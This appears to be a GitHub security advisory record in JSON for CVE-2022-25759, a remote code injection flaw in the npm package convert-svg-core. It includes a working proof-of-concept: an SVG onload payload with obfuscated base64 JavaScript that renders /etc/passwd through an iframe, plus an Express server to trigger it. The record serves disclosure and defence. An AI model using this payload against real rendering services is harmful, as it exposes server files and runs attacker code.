{"id":"GHSA-5gxc-fxcr-9326","summary":"convert-svg-core vulnerable to remote code injection","details":"The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.\n\n### PoC\n\n**Payload**\n\n```html\n\u003csvg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='\u003e\u003c/svg\u003e\n```\nwhere the `id` attribute is the base 64-encoded form of \n\n```js\ndocument.write('\u003csvg-dummy\u003e\u003c/svg-dummy\u003e\u003ciframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"\u003e\u003c/iframe\u003e\u003csvg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003ctext x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\"\u003edata\u003c/text\u003e\u003c/svg\u003e');\n```\n\n\n**Attack**\n\n```js\nconst { convert } = require('convert-svg-to-png');\nconst express = require('express');\nconst fileSvg = `[[[payload]]]`;\n// YWxlcnQoMSk=\n// function newContent(){document.open(),document.write('\u003ctext x=\\\"0\\\" y=\\\"0\\\" class=\\\"Rrrrr\\\" id=\\\"demo\\\"\u003edata\u003c/text\u003e'),document.close()}\nconst app = express();\napp.get('/poc', async (req, res)=\u003e{\n  try {\n    const png = await convert(fileSvg);\n    res.set('Content-Type', 'image/png');\n    res.send(png);\n  } catch (e) {\n      console.log(e);\n    res.send(\"\");\n  }\n});\napp.listen(3000, ()=\u003e{\n  console.log('started');\n});\n```","aliases":["CVE-2022-25759"],"modified":"2024-04-22T23:44:03.044105Z","published":"2022-07-23T00:00:16Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2024-04-22T23:21:54Z","nvd_published_at":"2022-07-22T20:15:00Z","cwe_ids":["CWE-94"],"severity":"CRITICAL"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25759"},{"type":"WEB","url":"https://github.com/neocotic/convert-svg/issues/81"},{"type":"WEB","url":"https://github.com/neocotic/convert-svg/pull/82"},{"type":"WEB","url":"https://github.com/neocotic/convert-svg/commit/7e6031ac7427cf82cf312cb4a25040f2e6efe7a5"},{"type":"PACKAGE","url":"https://github.com/neocotic/convert-svg"},{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2849633"}],"affected":[{"package":{"name":"convert-svg-core","ecosystem":"npm","purl":"pkg:npm/convert-svg-core"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/07/GHSA-5gxc-fxcr-9326/GHSA-5gxc-fxcr-9326.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}